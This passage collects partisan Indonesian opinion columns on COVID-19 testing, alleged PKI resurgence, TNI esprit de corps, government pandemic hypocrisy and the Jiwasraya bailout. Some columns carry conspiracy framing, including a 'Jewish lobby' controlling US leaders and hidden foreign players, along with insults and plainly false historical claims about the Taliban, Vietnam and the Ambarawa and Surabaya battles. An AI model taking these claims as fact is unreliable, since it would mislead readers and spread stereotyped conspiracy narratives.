data kematian (mortality) di berbagai wilayah Indonesia di atas rate mortality global 3,3%. Bahkan yang di atas 7%. Jangan sampai dibaca bahwa masyarakat di luar DKI itu lebih rentan mati. Belum tentu juga. Penyebabnya bukan karena meraka kurang gizi, banyak penyakit, daya tahan tubuhnya lemah. Tidak begitu. Apakah karena kepala daerahnya yang gak pecus atau nggak serius? Bisa iya, bisa enggak. Faktor yang pasti adalah karena jumlah penduduk yang dites jauh di bawah jumlah standar global. Ini menunjukkan bahwa banyak sekali orang Tanpa Gejala (OTG) yang belum mendapat tes PCR. Tanpa disadari, mereka terus menebar dan menjadi agen virus ke orang lain. Sesungguhnya ini yang akan memperpanjang masa pandemi di Indonesia. Makin kecil jumlah populasi yang dites, maka akan makin lama negeri ini hadapi pandemi. Lagi-lagi, ini diantaranya terkait soal kesungguhan dan kemampuan menyediakan anggaran, baik daerah maupun pusat. Sayangnya, hanya Rp 87,5 Ttriliun dari anggaran covid-19 yaitu Rp 905 triliun yang dipakai untuk tangani kesehatan. Kurang dari 10%. Terus sisanya dipakai untuk apa? Silahkan tanya ke Abu Janda dan Ade Armando. Uniknya, ada yang menyerang Anies soal anggaran ini. Katanya, Rp 10 triliun anggaran covid-19 di DKI, hasilnya banyak yang terpapar. Ini "guoblok kok yo nemen". Justru anggaran itu diantaranya digunakan untuk melakukan deteksi sebanyak mungkin warga yang terinfeksi. Setelah mereka sudah ketahuan positif, maka segera ditangani, agar penyebaran terkendali dan pandemi cepat selesai. Banyak daerah nggak mampu ngikutin langkah cepat dan agresif seperti di Jakarta, diantaranya karena keterbatasan anggaran. Jika kemampuan anggaran sama besar, dan prosentase populasi yang dites kurang-lebih jumlahnya sama dengan Jakarta dan kota-kota lain di dunia, maka angka terinveksi covid-19 di banyak daerah pasti akan naik tajam. Sebaliknya, prosentase kematian akan berangsur turun. Nah, data di atas hanya dipahami oleh mereka yang otaknya lurus. Waras maksudnya. Kesimpulanya, cara membaca yang benar akan melahirkan kesimpulan yang benar. Cara baca yang salah akan membuat kesimpulan salah. Kecuali, memang ada niat untuk membaca dan menyimpulkan dengan cara yang salah. Ya, silahkan tanya ke istana. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Waspada Terhadap PKI Itu Positif & Harus! (Bagian-2)

by Shamsi Ali Al-Kajangi New York City FNN – Ahad (05/10), Pada tulisan bagian kedua ini saya ingin menyebutkan beberapa gejala yang bisa menjadi perhatian, sekaligus kewaspadaan bangsa Indonesia. Pertama, kebanggan anak keturunan dan keluarga mantan pelaku di tahun 1965. Kesalahan memang tidak diwariskan. Karenanya keturunan PKI tidak harus ikut bertanggung jawab dengan dosa orang-orang tua mereka. Yang menjadi masalah adalah keterbukaan mereka dengan kebanggan itu. Jika PKI adalah dosa besar dalam tatanan kenegaraan dan kebangsaan, lalu apa yang menjadikan mereka bangga dengan dosa besar itu? Kebanggan terbuka atas dosa besar itu justeru menjadi salah satu indikasi tumbuhnya kembali ideologi yang mengantar kepada prilaku dan aksi PKI saat itu. Dan ini perlu diwaspadai. Kedua, upaya penghapusan sejarah PKI. Sejak 2018 lalu pelajaran sejarah PKI ditiadakan dari sekolah-sekolah di Indonesia. Selain penghapusan pelajaran sejarah PKI, juga pelarangan atau minimal peniadaan urgensi menonton film PKI yang menggambarkan kekejaman mereka. Semua bangsa besar itu ada karena kebesaran sejarah yang mereka ketahui. Jepang maju karena sejarah perang Dunia kedua yang meluluh lantahkan Nagasaki dan Hiroshima. Demikian pula Jerman, karena sejarah kekalahan mereka di perang dunia kedua. Upaya penghapusan sejarah PKI dicurigai sebagai upaya penina bobokan anak-anak bangsa agar tak lagi paham dan peduli dengan peristiwa itu. Saya diingatkan bagaimana kehebatan Amerika dalam membangun imej sejarah itu. Salah satunya peristiwa 9/11 yang dislogankan, “we forgive, but never forget”. Dalam kasus PKI, saat ini ada upaya membalik kenyataan seolah Komunislah yang korban. Tujuannya melemparkan kesalahan kepada TNI dan Umat Islam sebagai bagian dari upaya marjinalisasi dua backbones (tulang punggung) bangsa itu. Ketiga, meningginya serangan terbuka kepada Ulama dan institusi agama (baca Islam). Dalam sejarahnya hanya ideologi yang anti agama akan menyerang agama secara terbuka. Telah banyak ulama dan Ustadz yang diserang. Mungkin yang paling heboh baru-baru ini adalah serangan kepada Syeikh Ali Jaber. Baru saja kemarin tgl 19 September sebuah masjid di Tengerang dirusak dan dicoret-coret oleh sekelompok orang dengan kata-kata “anti Islam”. Jika serangan itu hanya kepada para Ulama, boleh jadi karena memang ada Ulama yang keras. Tapi ini justeru institusi agama, bahkan agamanya itu sendiri begitu dibenci. Benci Ulama boleh jadi karena perbedaan politik. Tapi benci agama dan institusi agama? Siapa lagi kalau bukan mereka yang memang anti agama? Keempat, terjadi pelemahan institusi pertahanan negara. Tentu dalam hal ini TNI menjadi target utama. Saya tidak membahas secara vulgar dan detail Masalah ini. Saya hanya mengharap agar kita semua mencoba menganalisa kejadian-kejadian dalam tubuh TNI tahun-tahun terakhir. Kelima, proses pembangunan ekonomi yang massif, tapi sangat “centralized” pada segmen masyarakat tertentu. Pembangunan infrastruktur-infrastruktur tidak mengarah kepada keberpihakan kepada rakyat. Pembangunan itu seolah menjadi hiburan sesaat bagi rakyat luas. Hal itu akan nampak ketika melihat kepada pembangunan sektor pertanian. Kepemilikan lahan di Indonesia diakui terkonsentrasi pada segmen masyarakat tertentu. Sementara rakyat luas semakin termarjinalkan dengan masa depan yang semakin suram. Keenam, gerilya politik yang tidak lagi malu-malu. Jika diperhatikan secara seksama, perpolitikan di Indonesia akan nampak bahwa ada permainan cantik, tapi terkadang kasar, dalam memarjinalkan kekuatan Umat dan penduduk mayoritas Indonesia. Partai-partai yang berwawasan keislaman dan kerakyatan akan dipaksa atau terpaksa untuk melebur dengan kekuatan besar. Pemaksaan itu sering dengan cara yang cantik. Tapi sering juga dengan kekeraran politik dan intimidasi. Gerilya politik ini kemudian tanpa malu-malu mencoba untuk melakukan ronrongan kepada ideologi negara, Pancasila. Upaya mengganti Pancasila melalui RUU HIP jelas merupakan demonstrasi yang terbuka dari pihak-pihak yang anti negara. Dan itu melalui gerilya politik tanpa sunkan lagi. Ketujuh, “hidden player” atau pemain terselubung ada di semua negara. Bahkan biasanya mereka bukan sekedar pemain. Justeru mereka adalah “hidden power” (kekuatan atau kekuasaan di balik tirai). Sebagai contoh saja. Di Amerika ada yang kita kenal dengan “kekuatan lobby”. Sudah menjadi pengetahuan umum bahwa di negara ini lobby terkuat adalah lobby Yahudi Israel. Inilah yang menjadikan kenapa semua pemimpin negara ini nampaknya harus atau diharuskan mendukung Israel? Dalam sejarah Indonesia juga tidak terlepas dari hidden player atau hidden power ini. Ada masa-masa di zaman Orde Baru Umat Kristiani Katolik berkuasa. Anggaplah di masa keemasan Murdani. Di akhir masa Soeharto ada penghijauan institusi negara dengan pemain-pemain yang tergabung dalam organisasi ICMI. Di saat itulah seorang Habibie naik ke puncak kepemimpinan bangsa sebagai Wapres, lalu kemudian menjadi Presiden RI. Saya khawatir saat ini di Indonesia ada “hidden player” atau “hidden power” yang mewarnai. Bahkan mengendalikan arah kebijakan negara. Siapa mereka itu dan bagaimana eksistensinya? Disinilah urgensinya kita membangun kewaspadaan itu. Kedelapan, kekuatan luar (foreign power) atau minimal pemain luar (foreign player). Kenyataan ini kerap kali tidak disadari oleh banyak orang. Apalagi kalau pihak luar ini berhasil menggoda pemain dalam yang punya kepentingan-kepentingan sempit. Untuk Indonesia, ini bukan baru, namun tidak juga mengejutkan. Upaya melemahkan bahkan memecah belah NKRI telah lama dimainkan oleh pihak-pihak luar yang punya kepentingan. Ada dua segmen bangsa yang menjadi target utama mereka, yaitu TNI dan Umat Islam. TNI akan ditampilkan dengan wajah buruk, zholim, anti HAM, dan seterusnya. Yang kemudian dilanjutkan dengan lobi-lobi internasional untuk menekan, baik ke dalam negeri dengan mengurangi anggaran, maupun keluar negeri dengan boikot. Dimasa lalu TNI pernah diboikot untuk membeli senjata atau pesawat Tempir F-16 dari Amerika misalnya. Diantara sekian foreign player (pemain luar) itu adalah East Timor Action Network (ETAN). Salah satu aktifisnya yang kita kenal di Indonesia dulu adalah Sidney John. ETAN telah lama bekerja untuk merusak NKRI dengan melemahkan TNI dan Umat Islam. Dari zaman Timor Timur, Aceh, dan juga Papua. Mereka berhasil di Timor Timur. Di Aceh kalah dengan kelihaian pak JK menyelesaikan kasus Aceh dengan baik. Kini ETAN bergerilya untuk meronrong NKRI melalui Papua Merdeka. Sangat aktif dan mendapat dukungan dari beberapa negara yang punya kepentingan melihat Indonesia pecah. ETAN kini juga memasuki isu PKI di Indonesia. Salah satu propaganda mereka adalah membuat film tentang kasus 30 September dengan membalik realita. Film yang mereka buat ditampilkan kekejaman TNI dan Umat Islam. Sementara PKI adalah korban kekerasan kedua segmen bangsa (TNI-Islam) itu. Hal itu kemudian mereka hiasi dengan memplintir seolah kebangkitan Umat Islam untuk menentang Komunisme sebagai bentuk intoleransi. Maka ibarat bertepuk tangan, kedua telapak tangan itu, dalam negeri dan luar negeri, melahirkan irama tepukan “radikalisme”. Penutup. Sebelum menutup goresan ini, saya juga ingin mengatakan bahwa kewaspadaan itu bukan menambah beban atau menyirma bensin ke dalam kobaran api. Justeru ingin menjadikan kewaspadan ini sebagai jalan menyatukan langkah dan membangun rekonsiliasi kebangsaan. Maka tentunya harus juga diakui adanya kemungkinan “mistreatments” yang terjadi ketika itu. Boleh jadi memang kaena dorongan politik, dan kepentingan lainnya termasuk kepentingan global saat itu, ada perlakuan-perlakukan yang salah kepada pihak-pihak tertentu. Tetapi ini harusnya tidak menjadi pembenaran untuk merubah narasi peristiwa, apalagi membalik realita yang sesungguhnya. Komunisme dan PKI bagaimanapun adalah musuh bangsa dan negara Indonesia. Bangkitnya sebagian anak bangsa untuk membangun kewaspadaan terhadap ancaman ideologi PKI ini tidak lain karena kecintaan, nasionalisme, dan patriotisme mereka terhadap negara. Karenanya jangan dianggap gangguan, apalagi ancaman terhadap pemerintah. Sebaliknya, justeru harus diapresiasi dan didukung. Keselamatan negara dan bangsa adalah tanggung jawab semua elemen bangsa. Secara khusus bagi umat Islam, semangat menentang kemungkinan bangkitnya PKI, karena didorong oleh kesadaran bahwa Islam dan negara Indonesia adalah dua hal yang senyawa. Kedua entitas itu tidak akan bisa dipisahkan. Mengobok-obok negara ini adalah juga mengobok-obok iman/Islam itu sendiri. Karenanya saya ingin berpesan kepada putra-putrì bangsa, khususnya Umat Islam agar bersatu menjaga NKRI. Jangan mudah dipecah belah oleh “hidden player” tadi. Jangan ada yang mudah dirangkul, lalu yang lain ditendang. Kekuatan negara Republik Indonesia ada pada kebersamaan TNI dan Umat. Hal yang telah dibuktikan sepanjang sejarah perjalanan negeri ini. Merdeka! (habis). Penulis adalah Diaspora Indonesia di Amerika Serikat.

Makna Jiwa Korsa Bagi Prajurit TNI

by Anton Permana Jakarta FNN – Ahad (04/10). Yang paling membedakan antara seorang prajurit Tentara Nasional Indonesia (TNI)dari masyarakat sipil tidak saja baju seragam dan senjatanya. Tetapi yang paling sakral dan monumental adalah jiwa korsa. Sering disebut dengan "esprit de corps". Kalau hanya berbicara seragam, senjata, atau atribut, adalah sesuatu yang lazim bagi dunia militer. Tetapi berbicara tentang jiwa korsa adalah berbicara tentang urat nadi. Talian tarikan nafas, perasaan senasib seperjuangan, persatuan dan kesatuan cita, dan cinta antar sesama prajurit tentara. Yang semua itu sudah ditanamkan sejak masa pendidikan. Sebagai komponen utama sistem pertahanan negara, tentu seorang tentara itu harus selalu tampil prima, profesional, dan trengginas dalam setiap medan penugasan. Untuk itulah, setiap prajurit dibekali banyak keahlian, sikap kedisiplinan tinggi, kemampuan, cara berpikir, standar fisik yang semuanya harus rata-rata di atas masyarakat kebanyakan. Karena itulah, jiwa korsa ini sangat berperan penting dalam menyatukan psikologis kejiwaan seorang prajurit. Bagaimana agar dengan jiwa korsa ini, mereka akan selalu struggle dan kompak dalam menyelesaikan apapun bentuk tugas, kesulitan dalam medan pengabdian. Baik itu berupa operasi militer perang maupun selain perang. Penanaman jiwa korsa ini adalah semacam keistimewaan dan kekhas-san seorang tentara dari masyarakat sipil biasa. Tujuanya agar setiap tentara itu mempunyai daya tahan, daya gempur, daya soliditas yang kuat dalam melaksanakan tugas dan misi. Artinya, bagi seorang tentara, salah satu wujud jiwa korsa adalah tidak ada lagi nilai selain rasa loyalitas, penghormatan, dan pengabdian kepada negara. Mereka telah disumpah atas nama Tuhan Yang Maha Esa untuk setia kepada Pancasila dan UUD 1945. Melaksanakannya secara murni dan konsekuen. Begitulah pentingnya dan sensitif posisi jiwa korsa ini dalam dinas militer. Maka ada pihak yang menjadikan jiwa korsa ini menjadi salah satu indikator utama mengukur kekuatan pertahanan negara. Jika jiwa korsa tentaranya kuat, maka kuatlah negara tersebut. Vietnam dan Afghanistan contohnya. Vietnam, meskipun tidak mempunyai angkatan laut dan udara, tetapi berhasil mengalahkan Perancis dan Amerika Serikat dalam perang. Begitu juga Taliban di Afghanistan yang bisa mengalahkan tentara Uni Soviet dan membuat Amerika menyerah dan mengakui pemerintahan Taliban di Afghanistan. Padahal kalau berbicara persenjataan, perbedaannya bagaikan bumi dan langit. Tetapi karena dua negara ini memiliki tentara yang tangguh, terkenal menyatu dengan rakyat. Tentaranya juga terkenal dengan jiwa korsanya yang tinggi, maka jadilah tentara mereka menakutkan bagi negara lain. Begitu juga dengan Indonesia dalam keberhasilan merebut dan mempertahankan kemerdekaan dari tangan penjajah. Berhasil membendung agresi militer Belanda sebanyak dua kali, dalam pertempuran Palagan Ambarawa Semarang dan pertempuran 10 November di Surabaya. Kedua pertempurean ini menjadi catatan sejarah penting. Bagaimana heroiknya prajurit TNI kita dalam menghadapi invasi musuh dari luar. Belum lagi ancaman pemberontakan dari dalam negeri yang hanya bisa dituntaskan melalui peran TNI serta rakyat. Namun kini, yang menjadi tantangan bagi TNI itu adalah dunia politik, ideologi, dan ekonomi. Karena ketiga unsur ini juga yang bisa memecah belah organisasi. Apalagi jika tentara kita dikuasai oleh oknum oknum politisi yang memanfaatkan situasi, terlepas dari sejarah dan jati diri TNI yang dibentuk oleh rakyat. Bahkan TNI telah ada bersama rakyat sebelum terbentuknya pemerintahan NKRI. Disinilah daya kekuatan jiwa korsa seorang prajurit tentara itu diuji. Antara setia pada nilai, setia pada korps kesatuan, setia pada atasan, atau pragmatis atas rayuan tawaran jabatan, harta dan ada juga karena ideologi. Menjadi tantangan serius bagi TNI ke depan. Khusus untuk prajurit TNI. Seorang prajurit sapta marga, yang setia kepada Pancasila dan UUD 1945, pasti tidak akan terpengaruh dan tergiur dengan berbagai kepentingan politik, ekonomi dan ideologi di luar tugas pokok dan fungsinya.Namun dalam era supremasi sipil, dimana kadang politik lebih dominan dan berkuasa. Tidak jarang akhirnya para prajurit terseret kepada kepentingan politik pragmatis. Politik tentara adalah politik negara. Bukan dimaksudkan untuk mengikuti saja apa kata politisi yang sedang berkuasa. Politik bagi TNI adalah menjadi netral atau tidak berpihak dalam mengamankan ideologi Pancasila dan konstitusi UUD 1945. Itu harga mati yang menjiwai TNI! Disinilah dilematis itu bermula. Namanya politik, tentu tak mengenal ikatan jiwa korsa sebagaimana tentara. Yang ada hanya kepentingan. Akhirnya tak sedikit tentara yang mau tak mau terseret kepada pusaran politik kekuasaan. Karena penguasa tentu akan lihai memanfaatkan "tools" dan instrumen kekuasaan yang dibuatnya sendiri untuk mengendalikan tentara menjadi alat kekuasaan. Oke kalau seorang Panglimanya punya jiwa militansi sapta marga yang tinggi, sehingga tak terpengaruh dan bisa memisahkan mana yang politik negara dan mana yang politik kekuasaan. Maka TNI secara institusi akan aman dan terhormat berada di tengah-tengah. Tetapi kalau yang terjadi sebaliknya ??? Insiden TMP Kalibata, serta insiden di Gedung Juang DHD 45 Surabaya menjadi catatan penting bagi sejarah implementasi jiwa korsa di negeri ini. Bagaimana seorang mantan Panglima TNI dengan mudah digelandang aparat dan dikepung massa dengan caci maki yang sengaja dibiarkan? Selanjutnya insiden penghadangan dan perlakuan diskriminatif oleh seorang Dandim terhadap para senior purnawirawan TNI yang dipersulit untuk ziarah makam ke TMP Kalibata hanya dengan alasan Covid-19? Sementara upaya pelaksanaan Pilkada di tengah Covid -19 pun terus dilakukan? Dua insiden ini telah menampar wajah dan kehormatan keluarga besar TNI. Tak ada lagi penghormatan, tak ada lagi etika, apalagi kalau berbicara jiwa korsa seperti kita bahas di atas. Padahal sebagai prajurit yang sapta margais, meskipun para seniornya sudah pensiun, sejatinya tetaplah para senior yang wajib dihormati. Apalagi ada mantan Panglima serta mantan kepala staf dan puluhan jendral lainnya. Sungguh insiden ini telah mencoreng dan menjadi aib bagi kehormatan prajurit TNI. Padahal hanya karena prilaku seorang "oknum" yang disaksikan telanjang oleh ratusan juta mata rakyat Indonesia. Apapun alasan di balik semua itu, yang jelas muncul pertanyaan dalam benak publik. Kemana jiwa korsa antar angkatan sesama prajurit TNI di negeri ini??? Masihkah adakah jiwa korsa TNI itu??? Rakyat begitu bangga dan cinta terhadap TNI. Namun ketika melihat dua adegan itu, tentu akan banyak pertanyaan miris. Bagaimana TNI akan menjaga kedaulatan negara dan melindungi tumpah darah Indonesia, jika untuk melindungi sesama prajurit dan purnawirawan saja tidak bisa? Miris memang. Padahal, siapapun, apapun jabatannya, seorang tentara itu suatu saat pasti juga akan pensiun. Akan menjadi masyarakat sipil biasa. Lepas dari jabatan dan kembali kepada rakyat. Disitulah titik kritis dan ujian dari sebuah jiwa korsa seorang tentara utamanya dari para perwira. Terutama ketika berhadapan dengan kepentingan politik, ekonomi dan ideologi. Dari sanalah kita akan bisa melihat, mana prajurit yang sapta margais, patriot sejati, dan loyal kepada negara. Bukan loyalitas buta kepada penguasa. Jangan berbicara akan siap bertempur sampai mati demi bela negara, tetapi malah lebih takut dicopot dari jabatan atau tak dapat promosi pendidikan. Jangan berbicara patuh pada atasan, lalu loyalitas buta tanpa mementingkan nilai, sumpah setia, dan jiwa korsa. Semua itu pasti akan dipertanggungjawabkan dunia dan akhirat. Akan menjadi catatan sejarah dan sosial bagi para junior selanjutnya. Sebagai rakyat biasa dan keluarga besar TNI, kita tentu banyak berharap kepada TNI untuk selalu setia, amanah, profesional dan loyal kepada Pancasila dan UUD 1945. Karena TNI itu lahir dari rakyat dan untuk rakyat. Bukan untuk mengabdi pada penguasa. Loyalitas TNI itu kepada konstitusi dan rakyat. Jiwa korsa TNI tercermin dari sikap mental para perwiranya terhadap para pendahulunya atau seniornya sebagai senjata utama yang paling ditakuti lawan. Jangan kotori itu dengan persoalan sepele, sikap arogan, berat sebelah, dan hal-hal berbau politik jabatan yang dapat merusak kehormatan prajurit TNI. Semoga TNI selalu jaya, kuat, tangguh, profesional dalam menjaga kedaulatan serta keutuhan NKRI. Dirgahayu TNI-ku, dan TNI kita ke 75! Salam Indonesia Jaya. Penulis adalah Direktur Eksekutif Tanhana Dharma Mangruva Institute.

Kebijakan Penguasa Munafik Yang Picik

by M Rizal Fadillah Bandung FNN – Ahad (04/10). Kebijakan Pemerintah dalam menangani pandemi Covid 19 bukan saja gamang. Tetapi juga tidak konsisten. Bahasa sederhananya banyak akal-akalan. Bahkan lebih parahnya Covid 19 dijadikan alat kepentingan politik untuk merangkul, mencangkul dan memukul. Mencoba merangkul dengan solidaritas yang penuh kepalsuan. Mencangkul sebanyak-banyak dana dari masyarakat. Misalnya, rencana penjualan vaksin rapid test yang mahal. Covid 19 juga dijadikan sebagai alasan untuk memukul lawan-lawan politik. Kekuasaan yang picik, licik dan culas kepada rakyatnya. Kebijakan yang akal akalan dan tidak konsisten pantas jika disebut dengan “kebijakan yang munafik”. Pemerintah secara mencolok menerapkan pilihan model ini. Di samping "esuk dele sore tempe" pada kebijakan umum seperti awal Pembatasan Sosial Bersakala Besar (PSBB), yang kemudian berubah menjadi New Normal, dan yang terakhir Mini Lockdown. Penerapan kebijakan, baik itu PSBB, New Normal dan Mini Lockdown, dalam pelaksanaannya, sangat digantungkan pada situasi dan kepentingan. Kalau kegiatan yang berlawanan dengan kepentingan penguasa, maka alasan pembubarannya menggunakan protokol Covid 19. Namun kalau kegiatan pengumpulan orang menguntungkan kepentingan penguasa, maka tidak berlaku protokol Covid 19. Contohnya, pengumpulan orang oleh menantu Presiden Jokowi Bobby Nasution di Medan. Kejadian paling mutakhir dan telanjang adalah "Kalibata Gate". Kejadian di Taman Makam Pahlawan (TMP) Kalibata sebagai upaya sistematik memperalat Covid 19 untuk menyerang Jenderal TNI (Purn.) Gatot Nurmatyo dan para Purnawirawan TNI lain yang sedang menyelenggarakan ziarah dan tabur bunga ke Pahlawan Revolusi korban kebiadaban PKI. Dandim Jakarta Selatan dan Pangdam Jaya dijadikan sebagai alat untuk menyerang terhadap lawan politik penguasa. Belom lagi dengan menggunakan massa buatan dan bayaran khas rezim penguasa. Meminjam istilah yang digunakan Mas Anton Permana “Pemerintah menjadi oposisi buar rakyat sendiri” Dengan senjata "Kesaktian Covid 19" Pemerintah menyerang Deklarasi KAMI di berbagai daerah. Modusnya seragam, yakni dibuat aksi penolakan oleh "massa yang menjadi tangan kekuasaan". Kemudian aparat kepolisian masuk membubarkan acara. Meski sedikit saja, namun upaya ini berhasil. Tetapi cara-cara licik, picik, culas dan represif dalam memukul lawan telah dipertontonkan secara telanjang tanpas malu-malu. Dalam prakteknya "massa kpanjangan tangan kekuasaan" ini juga dibuat kocar kacir oleh keberanian dan heroisme Purnawirawan maupun peserta Deklarasi, seperti terjadi di TMP Kalibata. Begitu juga dengan yang terjadi pada Deklarasi di Bandung, Solo, Karawang, dan lainnya. Opini artifisial akan keberhasilan membubarkan berbeda dengan fakta yang terjadi. Sebab seluruh Deklarasi telah sukses dan berhasil. KAMI terbentuk dimana-mana. Kebijakan berbeda diambil Pemerintah untuk Pilkada. Kepentingan politik pragmatis dalam penguatan jaringan kekuasaan di daerah menjadikan Covid 19 lumpuh dan potensial membahayakan masyarakat banyak. "Kampanye" pengumpulan ribuan massa tanpa mengindahkan protokol Covid 19 terjadi di Muna, Muna Barat, dan Wakatobi dan Medan. Pengumpulan massa dalam jumlah banyak tak akan terhindarkan untuk proses Pilkada dimana-mana ke depan. Melanjutkan agenda Pilkada adalah kebijakan nyata-nyata munafik dari Pemerintahan Jokowi. Mendagri hanya bisa menegur untuk acara yang semestinya harus dibubarkan. Teguran dipastikan tidak akan membawa efek jera terhadap pengumpulan orang. Sebagaima dalam video yang viral nampak acara meriah "kampanye" Pilkada di Wakatobi. Dominan massa berkaus merah dan kibaran bendera PDIP di baris depan dengan panggung diisi "petinggi koalisi partai". Tentu ada PDIP, Nasdem, Golkar, Bulan Bintang, dan lainnya. Acaranya adalah hiburan dangdutan. Penyanyi secara atraktif tengah membawa massa bergoyang dangdutan. Covid 19 pun ikut bergoyang gembira dan bahagia bersama massa. Dengan ngototnya Pemerintah memaksakan pelaksanaan Pilkada serentak pada Desember 2020 di masa pandemi Covid 19 ini, maka secara terang benderang Pemerintah telah ngotot untuk menerapkan kebijakan politik yang munafik, licik, cipik dan culas kepada rakyatnya. Tragis memang negeri +62 ini. Punya Pemerintah yang tampil menjadi oposisi utama kepada rakyatnya sendiri. Dari semula PSBB ke New Normal, dan menjadi Mini Lockdown, akan berujung pada Smackdown. Gulat yang akan dimenangkan oleh Mr Covid 19. Bravo Mr. Covid 19, yang menjadi pahlawan dari kebijakan “Penguasa Munafik yang picik". Penulis adalah Pemerhati Politik dan Kebangsaan.

Bailout Jiwasraya Rp 22 Triliun Hanya Untuk Bayar Polis

by Anthony Budiawan Penyelesaian skandal Jiwasraya harus transparan dan adil. Sertakan tim yang independen. Harus adan tindakan hukum yang tegas kepada mereka yang bersamalah. Pihak-pihak yang wajib diperiksa adalah perwakilan pemegang saham, dewan direksi, dewan komisaris, pejabat Otoritas Jasa Keuangan (OJK) yang mengawasi sektor asuransi, auditor atau pemeriksa laporan keuangan perusahaan, manajer investasi dan pejabat perusahaan yang menerima dana penempatan investasi Jiwasraya. Jakarta FNN – Ahad (04/10). Sejak akhir 2018 pemegang polis PT Asuransi Jiwasraya (Jiwasraya) tidak bisa mencairkan polisnya yang jatuh tempo. Jiwasraya gagal bayar. Namun sampai sekarang belum ada penyelesaiannya. Pemerintah sebagai pemegang saham Jiwasraya dengan kepemilikan 100 persen, terlihat gagap. Maju mundur tanpa ada solusi yang jelas. Penyebab gagal bayar Jiwasraya bukan karena risiko bisnis biasa. Bukan juga karena ekonomi turun, kemudian berimbas kepada kinerja investasi Jiwasraya sehingga merugi. Tetapi, gagal bayar Jiwasraya ditengarai akibat ada pelanggaran hukum dan korupsi. Beberapa orang sudah ditangkap. Beberapa orang lagi dicegah bepergian ke luar negeri (Cekal). Persoalan Jiwasraya dimulai dari produk “JS Saving Plan” yang ditawarkan kepada publik pada akhir 2013. Produk ini terindikasi melanggar ketentuan produk asuransi jiwa. Produk ini mirip deposito dengan bonus asuransi jiwa. Menawarkan imbal hasil tetap selama lima tahun. Anehnya, produk ini bisa dicairkan setiap tahun. Imbal hasil yang ditawarkan juga sangat tinggi. Sekitar 9 persen lebih, bahkan bisa mencapai 13 persen. Nasabah jadi tertarik, dan beramai-ramai membeli produk “JS Saving Plan”. Dana yang mengalir untuk membeli produk ini sampai puluhan triliun rupiah. Kemudian, Jiwasraya tertekan untuk mengembalikan imbal hasil tinggi. Spekulasi tidak bisa dihindarkan. Jiwasraya mulai investasi di saham “gorengan”. Melakukan penempatan investasi langsung, atau repo, di beberapa perusahaan dengan berkinerja buruk. Penempatan langsung ini sepertinya tidak dilakukan secara profesional, tetapi hanya berdasarkan rente. Sampailah pada Jiwasraya akhirnya gagal bayar. Polis yang jatuh tempo akhir 2018 tidak bisa dicairkan. Nasib pemegang polis terkatung-katung selama dua tahun terakhir ini. Ada yang mengadu ke tuan-tuang yang terhormat di DPR. Tetapi tanpa hasil. Para pemegang polis tidak boleh menjadi korban. Mereka tidak bersalah. Pemerintah selaku pemegang saham Jiwasraya harus bertanggung jawab penuh atas terjadinya kerugian ini. Pemerintah harus mengganti investasi mereka. Memang sangat dilematis, karena penggantian kerugian ini akan menjadi beban rakyat yang juga tidak bersalah. Rakyat yang tidak tahu-menahu permasalahan. Untuk itu, semua pihak yang terlibat dalam skandal gagal bayar Jiwasraya harus diusut. Yang salah harus dihukum sesuai peraturan dan undang-undang yang berlaku. Kalau tidak rakyat yang menanggung beban bailout ini bisa marah. Karena itu, penegakkan hukum yang adil menjadi suatu keharusan. Pihak-pihak yang wajib diperiksa antara lain perwakilan pemegang saham, dewan direksi, dewan komisaris, pejabat OJK yang mengawasi sektor asuransi, auditor atau pemeriksa laporan keuangan perusahaan, serta pihak lainnya seperti manajer investasi dan pejabat perusahaan yang menerima dana penempatan investasi Jiwasraya. Pada 31 Desember 2019, ekuitas (modal) Jiwasraya defisit sebesar Rp 33,66 triliun. Dengan aset Rp 19,12 triliun dan kewajiban Rp 52,78 triliun. Defisit ini terus bertambah seiring berjalannya waktu. Maka pada akhir Juli 2020, defisit ekuitas diperkirakan mencapai Rp 38 triliun. Pemerintah rencananya akan melakukan restrukturisasi Jiwasraya dengan menyuntik dana Rp 22 triliun. Rencana ini tentu saja mengundang polemik. Tidak adil kalau rakyat harus menanggung beban korupsi berjamaah yang dilakukan para pejabat Jiwasraya dan kroninya. Namun, juga tidak adil kalau para pemegang polis yang tidak bersalah ini harus menanggung beban korupsi berjamaah tersebut. Tetapi, pemerintah sebagai pemegang saham wajib bertanggung jawab. Karena masalah gagal bayar ini juga merupakan kesalahan pemegang saham yang mempunyai wewenang untuk mengganti dan mengangkat para direksi dan komisaris Jiwasraya. Harus diusut, apa alasan pemerintah memilih mereka sebagai dewan direksi dan komisaris? Rapat Umum Pemegang Saham (RUPS) diadakan paling sedikit setahun sekali. Pemegang saham seharusnya tahu kondisi keuangan Jiwasraya yang sebenarnya. Pemegang saham seharusnya tahu produk “JS Saving Plan” bermasalah. Karena mirip dengan “skema ponzi”. Mengapa didiamkan saja selama bertahun-tahun? Sampai dengan menderita kerugian besar? Jangan sampai suntikan dana Rp 22 triliun tersebut disalahgunakan lagi. Jangan sampai dikorupsi lagi. Karena itu, dana bailout seyogyanya hanya boleh digunakan untuk mengganti kerugian para pemegang polis. Proses penggantian ini harus dilakukan secara transparan. Pemerintah harus menunjuk tim independen untuk membayar polis yang sudah jatuh tempo. DPR juga harus membentuk tim independen untuk mencari fakta, siapa yang terlibat kasus korupsi maupun gratifikasi Jiwasraya? Hukum harus ditegakkan. Jangan kong kalikong lagi. Dana bailout Rp 22 triliun tidak boleh digunakan untuk operasional Jiwasraya atau holding asuransi yang akan dibentuk. Rakyat sudah tidak percaya dengan manajemen Jiwasraya, serta wakil pemegang saham. BUMN harus dirampingkan hanya untuk keperluan industri strategis saja, sesuai Pasal 33 UUD 1945. Pada akhir Desember 2019, 11 dari 99 BUMN di bawah kendali kementeriaan BUMN mengalami defisit modal. Antara lain PT Asabri yang defisit Rp 6,1 triliun. PT Dok dan Perkapalan Kodja Bahari defisit Rp 1,2 triliun. PT Iglas defisit Rp 1,1 triliun. PT Kertas Kraft Aceh defisit Rp 1,1, triliun, PT Merpati Nusantara Airlines defisit Rp 6,4 triliun, PT PANN defisit Rp 3,3 triliun. BUMN akan selalu menjadi beban negara. Akhurnya menjadi beban rakyat. Modal BUMN berasal dari utang negara dengan beban bunga cukup tinggi yang harus ditanggung oleh Anggaran Pendapatan dan Belanja Negara (APBN). Selain itu, BUMN juga tidak memberi manfaat banyak kepada rakyat. Bahkan monopoli BUMN sering kali merugikan rakyat. Pertamina sebagai contoh BUMN yang membebani rakyat. Pertamina tidak mau menurunkan harga penjualan BBM di dalam negeri kepada rakyat ketika harga minyak mentah dunia anjlok. Sudah seperti perusahaan 